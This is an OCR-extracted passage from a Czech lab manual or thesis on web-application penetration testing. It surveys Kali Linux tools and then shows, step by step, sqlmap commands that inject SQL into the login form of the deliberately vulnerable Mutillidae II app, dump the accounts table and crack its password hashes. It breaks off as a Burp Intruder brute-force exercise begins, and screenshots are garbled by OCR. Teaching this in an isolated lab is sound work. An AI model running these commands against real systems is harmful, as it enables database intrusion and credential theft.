mework verzi zpoplatnénou (Metasploit Pro) a verzi komunitni (Metasploit Com-

munity).

! Armitage - nastroj, ktery zviditeliiuje cile a na jejich zakladé doporucuje exploity.
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Applications ~ Places =

Favorites burpsuite

01 - Information Gathering
httrack
02 - Vulnerability Analy

03 - Web Application Analysis

04 - Database A: sment

07 - Reverse Engineering =L sqlmap

08 - Exploitation Tools vega

09 - Sniffing & Spoofing

) w3af
10 - Post Exploitation

11 - Forensics webscarab
12 - Reporting Tools

13 - System Services

Usual applications

Activities Overview

Obr. 3.1: Prehled nastroju v prostredi Kali Linux

Wireshark

Wireshark je nejrozsitenéjsi aplikace k zachytavani a analyze komunikace, procha-
zejici pres pouzita sifova rozhrani. Poskytuje stovky analyzerti komunikacnich pro-
tokolu, grafické uzivatelské rozhrani (GUI), podporu ruznych operac¢nich systému
(Windows, Linux, Mac OS X, BSD, Solaris), desifraci protokola (WPA, WEP), po-
drobnou filtraci zachycenych informaci atd. Déle umoznuje prepnuti sitové karty do
promiskuitniho rezimu, ktery poté dokaze zachytit veskery sitovy provoz na daném

médiu.
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John the Ripper

John the Ripper je nastroj, ktery je zdarma a slouzi k prolomeni hesla. Pivodné byl
vyvinut pouze pro operacni systém Unix, nyni je mozné ho spustit na patnacti riz-
nych platformach (DOS, Win32, BeOS, OpenVMS a zbylych 11 pro Unix systémy).
Kombinuje fadu mechanismu k prolamovani klici do jednoho spole¢ného, automa-
ticky detekuje typ zaSifrovani daného hesla a obsahuje konfigurovatelny ,cracker
pro vlastni potreby. Mize byt pouzit proti riznym Sifrovacim formattm hesel véetné
typu, které se pouzivaji u Unix systému (zalozenych na DES, MD5, Blowfish), Ker-
beros AFS a Windows NT/XP/2002/2003 LM hash.

Nmap

Nmap (Network Mapper) je open-source aplikace pro objevovani siti a prozkoumani
jejich bezpecnosti. Pouziva IP pakety k vyhledani dostupnych cilovych pocitaca
v siti, jaké sluzby host pouziva, typ spusténého operacniho systému, jaky typ filtru
pakett je pouzit, pravidla firewallu atd. Podporuje velké mnozstvi platforem (Linux,
Windows, Mac OS X, Solaris, IRIX, OpenBSD a dalsi).

Standartni verze Nmap se ovlada pres prikazovy radek, ale k dispozici je i grafické
prostiedi (Zenmap) pro zjednoduseni ovladatelnosti a vykresleni mapy sité. Zadava
se cil a nasledné i profil, ktery urcuje typ skenovani (obvykly sken, intenzivni sken,
rychly sken, sken s pouzitim TCP/UDP portu atd.). Vysledky jsou pribézné gene-
rovany do zalozky Nmap Output, které lze podle potieby riizné filtrovat.

Burp Suite

Nastroj Burp Suite se pouziva pro bezpecnostni testovani webovych aplikaci. Apli-
kace se skladd z nékolika dilé¢ich modula (proxy server, intruder, repeater, web spider
atd.), které slouzi k analyze a zmapovani cile, nalezeni zranitelnosti a jejich nasled-
nému zneuziti. Je napsan v programovacim jazyce Java, coz umoznuje jeho pouziti
na libovolném OS. K dispozici je verze neplacend (Free Edition) a verze placend
(Professional Edition), rozsitujici verzi zékladni o urcité doplinky pro efektivnéjsi

pouzivani.

Sqlmap

Sqlmap je open-source nastroj urceny k penetracnimu testovani, ktery je speciali-
zovan k automatickému odhalovani a vyuzivani SQL injection zranitelnosti. Kromé
zékladnich funkci obsahuje mnoho specializovanych pro zkusené testery napft. ,fin-
gerprinting“ databédze, nacitani dat z databaze, pristup ke skrytym systémovym
soubortim a spousténi prikazii na opera¢nim systému pomoci out-of-band ptipojeni.
Podporuje 6 SQL injection technik (boolean-based blind, time-based blind, error-
based, UNION query, stacked queries, out-of-band).
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OWASP ZAP

OWASP ZAP (Zed Attack Proxy) je open-source aplikace, uréend ke skenovani
webovych aplikaci z hlediska bezpecnostnich nedostatki. Jedna se o jeden z nejak-
tivnéjsich projektu organizace ,,OWASPY, diky ¢emuz je zajisténa neustala podpora
a aktualnost. Stejné jako nastroj Burp Suite je napsan v programovacim jazyce Java,
aby byla zajisténa funkénost na libovolném OS a obsahuje i podobné moduly (web

crawlers, passive scanner, automated scanner, proxy server atd.).

W 3af

W3af (Web Application Attack and Audit Framework) je framework, jehoz cilem je
identifikovat a zneuzivat veskeré nalezené zranitelnosti webovych aplikaci. Je kom-
pletné napsany v programovacim jazyce Python, obsahuje vice nez 130 plugini, které
pouziva pro identifikaci a vyuziti nalezené zranitelnosti a nachézi i vyuziti v pripadé
penetracniho testovani metodou black-box. Pro ovladani poskytuje grafické uziva-

telské rozhrani (GUI) nebo piikazovy radek.

XSSer

XSSer (Cross Site ,,Scripter”) je automaticky framework, ktery slouzi k detekci, ex-
ploitu a nasledného reportu dosazenych vysledkii XSS zranitelnosti webovych apli-
kaci. Obsahuje mnoho moznosti, jak se vyhnout urcitym filtrim a pouziva rtzné

specialni techniky k aplikaci skodlivého kodu.

WebScarab

WebScarab je projekt organizace ,, OWASP¥, ktery slouzi k analyze a zachytavani
komunikace webového prohlizece tzn. webové zadosti (HTTP i HTTPS) i webové
odpovédi od serveru. Vzhledem k neptilis ptehlednému rozhrani je ve vyvoji projekt
WebScarab NG (Next Generation), ktery vznikl kompletnim prepsénim WebScarab
a zameéruje se na privetivejsi uzivatelské rozhrani. Pri vzniku nastroje OWASP ZAP
se jeho vyvoj stal pomalejSim a vétsi pozornost je vénovana pravé zminénému na-
stroji, presto se vSak jedna o velmi pouzivany a efektivni nastroj k penetracnimu

testovani webovych aplikaci.

Nessus Vulnerability Scanner

Nessus Vulnerability Scanner je celosvétoveé nejrozsitenéjsi skener zranitelnosti vyvi-
nuty spole¢nosti ,, Tenable Network Security“ (TNS) [24]. Testovani funguje na prin-
cipu kontroly konkretnich chyb pomoci pluginii, které maji velmi rozsahlé denné
aktualizované databaze [25]. Néstroj pracuje na modelu klient-server, coz znamena,

ze uzivatel se pomoci webového prohlizece muze k serveru pripojit z libovolné stanice
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v siti. Umoznuje skenovani pro nésledujici typy zranitelnosti:

o Zranitelnosti, které umozni utoénikovi prevzit kontrolu nad serverem nebo

citlivymi daty.

o Nespravné konfigurace napt. chybéjici aktualizace.

e Vychozi hesla, bézné hesla, ucty s chybéjicimi hesly.

o Odmitani sluzeb (Denial of service) proti TCP /IP.

Vysledky testu lze poté zaznamenat v ruznych formatech (XML, PDF, HTML,
LaTeX). Nessus se také vyznacuje velmi prehlednym a jednoduchym GUI 3.2, tudiz
nastroj muze efektivné pouzivat i novy a nezkuseny uzivatel.

Nejnovéjsi verze je Nessus 6.5 a byla vydana 15. ¥ijna 2015. K dispozici jsou
v soucasné dobé 4 ruzné verze z toho 3 placené (Nessus Manager, Nessus Cloud,
Nessus Professional) pro profesiondlni pouziti penetracnich tymu a jedna neplacend
(Nessus Home). Nessus Home je uréend pro nekomeréni pouzivani, avsak neposky-
tuje pristup k podpofe, je znacné omezena a limitovand maximalnim poctem IP
adres (16) v ramci jednoho testu. Nessus je navrzen tak, aby mohl byt dostupny a
podporovany pro rizné OS a platformy.

Distribuce Kali Linux nastroj Nessus Vulnerability Scanner neobsahuje a je po-

tfeba ho doinstalovat.

B~
Nessus Home | Scans - Iceweasel &0

Scane > orte Vutnerabitties History

Plugin Name Plugir Farily Caurt Scan Detalis
‘Apzche Tomzzt Manager Comman Adninistrtive Credentials Web Severs 1 Name: CWasP
status: orpiet
Apache HTTP Server Byts Range 305 Web Severs 2 Policy Web Ap:
Seamer  Local S
G Genee SO Injection (2rd pass) Gl sbuses > Folder Wy Scans
stan loday a &2/ PN
PIFBB « 2.0.7 Muliple Seript SQL Injectior Gl abuses 2 e Tty a. 7.41 PM
Elopsed: an hour
PAFBB ¢ 2.0.0 Muiple Vulnerablitcs Gl abuses 2 Targets hitps:/182 168 55 <01 /milidae!
PARBB viewtoric php highiicht Parameter SQL Injection Gl abuses 2

Vulnerabllifies

ca aeneic QL Injection cal abuses 1

e
Apache HTTP Server itponly Cookle nformation Disclestre. W severs 2 @ o,
CG Generic HTML Injectiors (quick test) CGl abuses : XSS 2

Obr. 3.2: Uzivatelské prostredi nastroje Nessus
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4 TESTOVANI ZRANITELNOSTI OWASP TOP
10

Cilem této kapitoly je provedeni testu webové aplikace OWASP Mutillidae II na
zranitelnosti A1-A5 z dokumentu OWASP Top 10 20138 pomoci penetrac¢nich na-
stroju v distribuci Kali Linux. Podrobny rozbor bude zaroven slouzit jako podklad

pro vytvorenou laboratorni tlohu a navod pro vyucujici.

4.1 Pouzity software a vnitini infrastruktura sité

Vnitini infrastruktura sité je zakreslena na obr. 4.1. Prostfednictvim virtualizac-
niho programu Oracle VM VirtualBox, umisténého na PC hosta, jsou spustény dve
virtudlni stanice (Kali Linux a OWASP Broken Web Applications), které komu-
nikuji s hostitelskym PC v rezimu NAT a Host only z hlediska bezpecnosti sité.
Host vSechny pozadavky od stanic posila routeru, ktery je zpracuje a preposle dél

v zavislosti na pozadavku. Infrastruktura na obrazku 4.1 je vytvofena podle mé

vlastni.

Virtualni prostredi
VirtualBox

Kali Linux

Router
192.168.1.1

PC
192.168.1.103/24

OWASP Broken Web Applications
92.168.56.101/24

Obr. 4.1: Vnitini infrastruktura sité

Oracle VM VirtualBox

Oracle VM VirtualBox [26] je virtualizacni néstroj pro profesionalni nebo osobni po-

uziti. Je vyvijen spolecnosti ,Oracle“ ve dvou licenénich podobach (PUEL, GPL).
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Obsahuje mnoho funkei (podpora vice jazykt, ukladani aktualnich snimki, sdileni
slozek, prenosnost, 3D virtualizaci, seamless mode atd.) a je navrzen tak, aby mohl

byt spustén na operacnich systémech Windows, Unix/Linux, Mac OS a Solaris.

OWASP Broken Web Applications

OWASP Broken Web Applications [27] je souhrn vSech vefejné dostupnych zranitel-
nych webovych aplikaci uréenych pro penetracni testovani napi. Damn Vulnerable
Web Application, b WAPP, OWASP WebGoat, OWASP Mutillidae II apod. Hlavnim
ucelem je poskytnout moznost naucit se o bezpecnosti webovych aplikaci, vyzkouset
si manualni techniky testovani, automatizovanymi nastroji, analyzu zdrojového kédu
a pozorovani prubéhu webovych utoki. Projekt vede Chuck Willis a je sponzorovany

spolecnosti ,, Mandiant*.

@i OWASP Mutillidae I1: We

Version: 2.6.24

Home Login/Register Toggle Hints Show Popup Hints Toggle Seq

Security Level: 0 (Hosed) Hints:

OWASP 2013

OWASP 2010
OWASP 2007
Web Services
HTML 5

Others
Documentation

Resources

=

_— o
Getting Started:
Project

Whitepaper

»

Release
Announcements

You = &
Q Installation Instructions \ Tools
— Y

Video

Tutorlals * Latest Version * Kali Linux

* Installation Instructions * Samurai Web Testing Framework

Obr. 4.2: Zranitelnosti a podvolby zneuziti

OWASP Mutillidae 11

OWASP Mutillidae II [28] je open-source zamérné zranitelnd webova aplikace, ur-

¢ena pro lidi zajimajici se o webovou bezpecnost. Pro uzivatele, ktefi nechtéji mit na
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starosti administraci serveru, mize byt nainstalovana na operacnich systémech Li-
nux/Windows pouzivajici platformy LAMP (Linux, Apache HTTP Server, MySQL
and PHP), WAMP (Windows Apache MySQL PHP) a XAMMP (Cross-platform
Apache MySQL PHP). Projekt vede Jeremy Druin pod licenci GNU GPL v3 (open-
source licence). Mutillidae poskytuje 10 zranitelnosti z kazdé nové vydané verze
dokumentu OWASP Top 10, véetné desitek voleb u kazdé z nich, jakym zptsobem
zranitelnost zneuzit, viz obr. 4.2. Dalsimi funkcemi jsou rady pro pomoc uzivateli,

video tutorialy a prepinani mezi obtiznostmi zabezpeceni jednotlivych zranitelnosti.

Kali Linux
Pro prezentaci zranitelnosti bude vyuzita distribuce Kali Linux a penetracni nastroje

Sqlmap, Burp Suite a XSSer.

4.2 Zranitelnost A1l - SQL injection

Cilem této tlohy je ziskani uzivatelskych prihlasovacich tdaji webové aplikace
OWASP Mutillidae IT pomoci SQL injection.

Prvnim krokem je spusténi webového prohlizece Iceweasel v prostiedi Kali Li-
nux, zadani IP adresy 192.168.56.101 (OWASP Broken Web Applications) a zvoleni
webové aplikace OWASP Mutillidae I1.

Pro aplikaci SQL injection byl zvolen nastroj Sqlmap spolu s nastrojem Burp
Suite a ve webové aplikaci OWASP Mutillidae II model zneuziti prostiednictvim
Login ! (pfihlageni), viz obr. 4.3 .

E—

€ ) @ 192.168.56.101/mutillidae/index.php?page=login.phy ve Saarch

[ Most Visited ¥ [lOffensive Security “KaliLinux “& Kali Docs “Kali Tools EBExploit-DB W Aircrack-ng

®% OWASP Mutillidae II: Web Pwn in Mass Production

Version: 2.6.24 Security Level: 0 (Hosed) Hints: Enabled (1 - 5crlpt Klddle) Not Logged In

Project
Whitepaper

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB ViewLog View Captured Data

o
ogin
2
é .
‘Web Services 4
Password incorrect
Documentation » B -
Username admin

‘k Password  |sssee

—
Getting Started:

Dont have an account? Please register here

Obr. 4.3: Model zneuziti zranitelnosti - Login

L OWASP 2013“ -> | A1 - Injection (SQL)* -> ,SQLMAP Practice“ -> ,Login“
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Vzhledem k tomu, Ze je nemozné v tomto piripadé pouzit metodu GET (data jsou
vidét v URL adrese), je potfeba zachytit HT'TP komunikaci webového prohlizece
s webovym serverem a vyuzit metodu POST (data nejsou vidét v URL adrese a pre-
naseji se skryté prostrednictvim HTTP komunikace). Zachyceni HTTP komunikace
bude provedeno nastrojem Burp suite.

Po zapnuti néstroje Burp suite se prepneme do zdlozky Proxy/Options, viz
obr. 4.4 | kde se nastavi, na jakém portu bude nastroj naslouchat 8080, IP adresu

127.0.0.1 a ujistime se, zZe je aktivni (Running).

Burp Suite Free Edition v1.6.32 e ® 0

Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TAIer‘ts ]

[ Intercept T HTTP history TWebSockets history T Options ]

J

|£J Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listene
proxy server.
| Add J Running | Interface | Invisible | Redirect | Certificate
(] 127.0.0.1:8080 (] Per-host
| Edit
| Remove

Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating S5L connections. You can import or export
certificate for use in other tools or another installation of Burp.

| Import / export CA certificate J | Regenerate CA certificate J

J

Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

G

[ Intercept requests based on the following rules:

al

P e .

Obr. 4.4: Nastaveni proxy portu a IP adresy

Déle je potieba nastavit ve webovém prohlizeci stejné tdaje, adresu HT'TP proxy
127.0.0.1 a port 8080. Po nastaveni proxy serveru nebude mozné pouzivat prohlizec
k béznému surfovani po internetu, dokud nepiepneme zpét proxy na puvodni hod-
noty. Z tohoto divodu je v prohlizeci Iceweasel doinstalovan doplnék Swap Proxy,
ktery slouzi k rychlému prepinani mezi proxy servery, viz obr. 4.5.

Po nastaveni proxy servert je jiz mozné odchytit HT'TP komunikaci. Vyplnénim
udaju username (uzivatelské jméno), password (heslo) a potvrzenim tla¢itkem Login
se zachyt! HTTP komunikace, kterou lze vidét v zalozce Proxy/Intercept v na-
stroji Burp Suite, viz obr. 4.6. Zde je vidét cely nas pozadavek, ktery je mozné si
prohlédnout v zalozkach:

« Raw - zobrazuje cely pozadavek, ktery je odesilan webovému serveru.
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e Params - zobrazuje nazvy a hodnoty predavanych parametru.
o Headers - zobrazuje HT'TP hlavicky.

e Hex - zobrazuje cely pozadavek v hexadecimalnim zobrazeni.

Swap Proxy Preference Box

Select Proxy Type:

Iﬂ|f‘~'1i:r'u..|i:L FProxy Configuration |
Manual Proxy: |12?.0.0.l | Port: | apap

& Use this proxy server for all protocols

) Automatic Proxy Configuration
() Auto-Detect Proxy Settings
Froxy Settings on browser launch:
@® Previously Saved Configuration
) Automatically Switch ON Proxy
) Automatically Switch OFF Proxy

Cancel | | OK

Obr. 4.5: Nastaveni proxy ve webovém prohlizeci Iceweasel

Burp Suite Free Edition v1.6.32
Burp Intruder Repeater Window Help

[Target TF'r-_-A_-.- T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options T!\Ierts ]

_[ Inter-:er.-tT HTTP history TWebSockets history T Options ]

(#] Rrequest to http://192.168.56.101:80

l Forward J l Drop J [ Intercept is an | Action

Raw | Params | Headers | Hex

(=)

POST /mutillidae/index.php?page=Llogin.php HTTP/1.1

Host: 192 168.56.101

User-Agent: Mozilla/5.0 (¥11; Linux x86 64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.6.1
Accept: text/html,application/xhtml+xml,application/xnl;g=0.9,%/*;q=0.8

Accept-Language: en-US,en:g=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101/nutillidae/index.php?page=login.php

Cookie: showhints=1; PHPSESSID=3cm3j8npcv]s25mn0l9ga29n80; acopendivids=swingset,jotto,phpbb2, rednine;
acgroupswithpersist=nada

Connection: close

Content-Type: applications/x-www-form-urlencoded

Content -Length: 59

username=admin&password=admin&login-php-submit-button=Login

Obr. 4.6: Zachyceni HT'TP komunikace
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Kromé spousty uziteénych informaci v celém pozadavku (metoda POST, kédo-
vani, user-agent, cookie), jsou nejdilezitéjsi informaci primo zachycena data, tedy
udaje username admin a password admin, které byly vlozeny do pozadavku tlacit-
kem Login a format maji nasledujici:

username=admin&password=admin&login-php-submit-button=Login

Zadané udaje sice nebyly spravné pro uspésné prihlaseni do webové aplikace, ale
nastroj Sqlmap bude potrebovat vyse zminény format dat k pokusu o SQL injection
metodou POST. Ziskanim téchto dat bylo cilem néstroje Burp Suite a nyni lze po-

uzit nastroj Sqlmap.

Sqlmap

Sqlmap se ovlada pres prikazovy radek a prvni véc, kterou by mél kazdy nezkuseny
uzivatel udélat po spusténi terminalu, je zjistit, jaké moznosti nastroj poskytuje.
Prikaz:

root@Kali:~# sqlmap -help
sqlmap - jméno bindrniho souboru

-help - zobrazeni napovedy

root@Kali: ~ e ® 0

File Edit View Search Terminal Help

Retrieve numbe
o DBMS datab:

Obr. 4.7: Volby Enumeration a Fingerprint
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root@Kali: ~ e ® 0

File Edit View Search Terminal Help

o the

Swuln
t URLs

e target URL

t header value
URL

Obr. 4.8: Volby Target a Request

Zobrazi se dlouhy vypis voleb a jejich prikazii, mezi které napr. patii:

o Target - volba, ktera musi byt vzdy zadana a urcuje cil.

« Request - volby, které stanovuji, jakym zptisobem se pripojime k cilové URL.

o Enumeration - volby, které se pouzivaji k ziskani informaci o systémové

databazi, strukture a idaji obsazenych v tabulkach.

« Fingerprint - vypis konkrétni verze databaze.

Pro tuto 1lohu jsou nejpodstatnéjsi prikazy, obsazené pod vysSe zminénymi vol-
bami Enumeration, Fingerprint, viz obr. 4.7 a Target, Request, viz obr. 4.8.

Dalsim krokem je shromazdéni zakladnich informaci o daném cili, tzn. je potfeba
védeét, co vlastné testujeme, protoze spousty exploitl jsou velmi citlivé na konkrétni
OS, sluzby a aplikace. V tomto pripadé je dobré védét, o jaky DBMS (Database Ma-
nagement System - systém Fizeni béze dat) ve skutecnosti jde. Dale se presvédcime,

zda-li je nastroj opravdu schopen pouzit SQL injection na cilovou webovou aplikaci.
Prikaz:

root@Kali:~# sqlmap -u "http://192.168.56.101 /mutillidae/index.php?page=
login.php'—data="username=admin& password=admin&login-php-submit-but
ton=Login"-f -b

sqlmap - jméno bindrniho souboru

-u - oznaceni cilové URL

—data= - datovy Tetézec poslan metodou POST

-f - vypis konkrétni verze DBMS

-b - vypis ,,banneru”“ DBMS
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Béhem testovani se nas miize program dotazat, jakym zplisobem chceme pokra-
covat. Pro tuto ulohu to jsou nasledujici dotazy a odpovédi:

o It looks like the back-end DBMS is 'MySQL’. Do you want to skip test payloads
specific for other DBMSes? [Y/n] y

o For the remaining tests, do you want to include all tests for 'MySQL’ extending
provided level (1) and risk (1) values? [Y/n] y

» Sqlmap got a 302 redirect to "http://192.168.56.101:80 /mutillidae/index.php?p
opUpNotificationCode=AU1". Do you want to follow? [Y/n]| y

o Redirect is a result of a POST request. Do you want to resend original POST
data to a new location? [y/N] y

o POST parameter 'username’ is vulnerable. Do you want to keep testing the
others (if any)? [y/N] n

root@Kali: ~ @ © O

File Edit View Search Terminal Help
on point(s) from stc

- WHERE or HAV
sar : z 1 GROUP BY I b7171, (SELECT (CAS
THEN | SE O EN Al 1L, L RAN 1*2)) HAVING MIN

bl ind
. ND tim yLind (SELECT - comment)
o e=admin' AND T * FROM (SELECT(SLEE )]
d=adminé -php-submit-button=Login

[15:15:37] [WARNING] reflective value(s) found and filtering

[15:15:40] [INFO] the back-end DBMS is MySQL

banner parsin
banner: '5.1.41-3ubuntul2

Obr. 4.9: Vypis uspésné SQL injection, fingerprint a ,,banneru®

Po ukonceni testu terminal vypise informace, viz obr. 4.9, ze kterych kromé
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potvrzeni o uspésné aplikaci SQL injection lze zjistit nasledujici:

o Cilovy parametr je username a pouzita metoda POST.

o Aplikovany byly 3 typy SQL injection (boolean-based blind, error-based, AND/
OR time-based blind), kde nastroj uvadi jejich Title (zahlavi) a Payload (Skod-
livy kéd).

o Technologie webové aplikace PHP 5.3.2, Apache 2.2.1/ a OS webového serveru
Linux Ubuntu 10.04.

o Typ DBMS je MySQL 5.1.41, kde presnou verzi zjistila metoda fingerprint
rozborem ,banneru a aplikaci comment injection.

Dalsim krokem bude zjisténi jména aktudlniho uzivatele, aktualni databaze, na-

zvu serveruy, a zda-li je aktualni uzivatel DBA (Database Administrator).
Prikaz:

root@Kali:~# sqlmap -u "http://192.168.56.101 /mutillidae/index.php?page=
login.php'—data="username=admin& password=admin&login-php-submit-but
ton=Login'-hostname —is-dba —current-user —current-db

sqlmap - jméno bindrniho souboru

-u - oznaceni cilové URL

—data= - datovy Tetézec poslan metodou POST

—hostname - vypis nazvu serveru DBMS

—is-dba - ovéreni, zda-li je aktualni uzivatel DBA systému DBMS

—current-user - vypis aktualniho uzivatele DBMS

—current-db - vypis aktualni databaze DBMS

root@Kali: ~ e ® O

File Edit View Search Terminal Help
[15:21:39] [INFO] the back-end DBMS is MySQL
2 "~ operati 2m: Li buntu 10.04 (Lucid Lynx)
2.14

[15:21:41] [WARNING] reflective value(s) found and filtering out

current user: ‘mutillidae@s’

current database:

hostname:

current user is DBA: True

Obr. 4.10: Vypis current user, current database, hostname a DBA
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Z obrazku 4.10 je vidét, ze nastroj uspésné vypsal informace, které jsme poza-
dovali. Aktudlni uzivatel je mutillidae@% a je DBA, aktualni databdze se jmenuje
nowasp a nazev serveru je owaspbwa.

V tomto bodé jsme shromazdili dostatek informaci o webové aplikaci a nyni je
potieba zjistit, jaké databaze jsou obsazeny v databazovém systému MySQL.

Prikaz:

root@Kali:~# sqlmap -u "http://192.168.56.101 /mutillidae/index.php?page=
login.php'—data="username=admin& password=admin&login-php-submit-but
ton=Login"-dbs

sqlmap - jméno bindrniho souboru

-u - oznaceni cilové URL

—data= - datovy Tetézec poslan metodou POST
—dbs - vypis databazi DBMS

root@Kali: ~ @ ® O

File Edit View Search Terminal Help
e databases [34]:

mutillidae
mysql

Obr. 4.11: Vypis dbs

Vzhledem k dlouhému seznamu databéazi je vypis zkracen, viz obr. 4.11. Infor-
mation__schema je soucasti kazdé systémové databaze MySQL a obsahuje informace
o vSech objektech v instanci MySQL. V seznamu je uvedend i databaze nowasp, kte-

rou jsme zjistili v pfedchozim kroku a pravé na tu je potieba se zamérit. Kazda
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databéze se sklada z tabulek (tables) a ty obsahuji néjaké sloupce (columns) s hod-
notami. Nejdrive tedy odhalime, jaké obsahuje tabulky.
Prikaz:

root@Kali:~# sqlmap -u "http://192.168.56.101 /mutillidae/index.php?page=
login.php'—data="username=admin& password=admin&login-php-submit-but
ton=Login"-D nowasp —tables

sqlmap - jméno bindrniho souboru

-u - oznaceni cilové URL

—data= - datovy Tetézec poslan metodou POST

-D - urcuje databazi DBMS, kterou ma nastroj vypsat

—tables - vypis tabulek

root@Kali: ~ @ © 0

File Edit View Search Terminal Help

[*] shutting down at 15:25:41

Obr. 4.12: Vypis tables databaze nowasp

Databaze nowasp obsahuje 12 tabulek, viz obr. 4.12. Tabulka, ktera predstavuje
cil této ulohy a disponuje potfebnymi informacemi, je accounts (acty). Zjistime tedy,
jaké obsahuje sloupce.

Prikaz:

root@Kali:~# sqlmap -u "http://192.168.56.101 /mutillidae/index.php?page=
login.php'—data="username=admin& password=admin&login-php-submit-but

ton=Login"-D nowasp -T accounts —columns
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sqlmap - jméno bindrniho souboru

-u - oznaceni cilové URL

—data= - datovy Tetézec poslan metodou POST

-D - urcuje databazi DBMS, kterou ma nastroj vypsat
-T - urcuje tabulku DBMS, kterou ma nastroj vypsat

—columns - vypis sloupct

root@Kali: ~ e © 0

File Edit View Search Terminal Help

shutting down at 15:28:45

Obr. 4.13: Vypis columns tabulky accounts

Z tabulky accounts jsme zjistili, Ze obsahuje 7 sloupci, viz obr. 4.13. Poslednim
krokem je vypsat zaznamy sloupct username, password, is_admin a dozvédét se
kromeé uzivatelskych prihlasovacich tidaji, zda-li maji administratorské opravneéni.
Prikaz:

root@Kali:~# sqlmap -u "http://192.168.56.101 /mutillidae/index.php?page=
login.php'—data="username=admin& password=admin&login-php-submit-but
ton=Login"-D nowasp -T accounts -C username,password,is admin —dump

sqlmap - jméno bindrniho souboru

-u - oznaceni cilové URL

—data= - datovy Tetézec poslan metodou POST

-D - urcuje databazi DBMS, kterou ma nastroj vypsat

-T - urcuje tabulku DBMS, kterou ma nastroj vypsat

-C - urcuje sloupec DBMS, ktery ma nastroj vypsat
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—dump - vypis zdznamu vybranych sloupcti

Pokud néjaka hodnota (nejcastéji heslo) pouziva néjaky typ Sifrovani, pokusi se
nastroj o desifraci a dotaze se nés, jak chceme pokracovat. Odpovédi na dotazy byly
zvoleny nasledovné:

e Do you want to store hashes to a temporary file for eventual further processing

with other tools [y/N] y

« Do you want to crack them via a dictionary-based attack? [Y/n/q] y

o What dictionary do you want to use?

(1) default dictionary file '/usr/share/sqlmap/txt/wordlist.zip’ (press Enter)
(2) custom dictionary file

(3) file with list of dictionary files

> 1

« Do you want to use common password suffixes? (slow!) [y/N] n

root@Kali: ~ e 0 0

File Edit View Search Terminal Help

---------- +
is admin |
—————————— +

I= I= I=

> D I> I I> > I> I~ I=

> I> I I>

r-r—_r_-r_-r_r—-r—r—-r_r—r—r_r—-’—_o@’l_

Ml Wwvlwnw Wb

M M M Mmool rmom ol morm mmiorei o meom

-

) (adminlZ23)

=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
=
T

I = =
=

Obr. 4.14: Vypis zaznamu sloupcu username, password a is__admin

41



Vypsané zaznamy, viz obr. 4.14, nam poskytly informace, které byly cilem této
ulohy. Uzivatelskych tctu je celkové 20, z toho 3 maji administratorska prava (ABa-
ker, adrian a admin). Uéet admin pouziva sifrovan{ hesla typu MD5, které se poda-
filo tspésné desifrovat pomoci dictionary attack (slovnikovy utok). Informace uvnitt
tabulky nowasp.accounts nastroj zaznamenal do souboru accounts.csv, véetné cesty
k nému. Také shromazdil veskera data do adresare 192.168.56.101.

4.3 Zranitelnost A2 - Broken Authentication and

Session Management

Cilem této tlohy je ziskani uzivatelskych prihlasovacich tdaji webové aplikace
OWASP Mutillidae II vyuzitim metody dictionary attack (slovnikovy ttok).

Pro demonstraci ttoku byl zvolen nastroj Burp Suite a ve webové aplikaci
OWASP Mutillidae II model pro zneuziti op&t prostiednictvim Login 2

4.15.

, viz obr.

Iceweasel
/ & http:#/192...=login.php X | *
€ ) @ 192.168.56.101/mutillidae/index. php?page=login. phy ve Search
php?p php

[EMost visited v [l Offensive Security "\ Kali Linux "\ Kali Docs " Kali Tools EBExploit-DB W Aircrack-ng

@« OWASP Mutillidae 1l: Web Pwn in Mass Production

Version; 2.6.24 Security Level; 0 (Hosed) Hints: Enabled (1 - 5crlpt Klddle) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB ViewLog View Captured Data

OWASP 2013

Login

OWASP 2010 [

OWASP 2007 Back Q Help Me!
é s

Web Services

Hints

HTML 5

Other: » - -
[ Please sign-in )
e
S o —

Password  |sesss
‘"
Getting Started:
Prgoj e Dont have an account? Please register here

Whitepaper

Obr. 4.15: Model zneuziti zranitelnosti - Login

Jiz znamym postupem je potifeba nastavit proxy servery webového prohlizece
[ceweasel a nastroje Burp Suite pro zachytavani HTTP komunikace. Po nastaveni
proxy serveru vyplnénim prihlasovacich tidajii username admin a password admin
a potvrzeni tlacitkem Login dojde k zachyceni HT'TP komunikace nastrojem Burp
suite, viz obr. 4.16.

2 OWASP 2013“-> , A2 - Broken Authentication and Session Management“ -> , Authentication
Bypass“ -> Via Brute Force® -> | Login*
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Burp Suite Free Edition v1.6.32 @ 00
Burp Intruder Repeater Windew Help

[Target TFI 3y T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Options TA\erts ]

_[ Intercey tT HTTP histary TWebSockets history T Options ]

|1J Request to http:/f192.168.56.101:80

| Forward J | Drop J f Intercept is on | | Action |EJ |3J

Raw | Params | Headers | Hex

POST /mutillidae/index.php?page=login.php HTTP/1.1 &

Host: 192.168.56.101 P

User-Agent: Mozilla/5.0 (X¥11; Linux x36 64; rv:38,0) Gecko/20100101 Firefox/38.0 Iceweasel/38.6.1

fccept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;g=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://192.168.56.101/mutillidae/index.php?page=login.php

Cookie: showhints=1: PHPSESSID=pfklEvkz24g9lcls7faphocpllo; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 59

usernane=adnin&password=admin&login-php-submit-button=Login|
e
¥

L2l =+ ]| = Type & s 0 matches

Obr. 4.16: Zachyceni HTTP komunikace

Nyni kliknutim pravého tlacitka mysi kdekoliv v okné s pozadavkem se ukéze
menu, ze kterého zvolime volbu Send to Intruder. Intruder je modul, prostirednic-
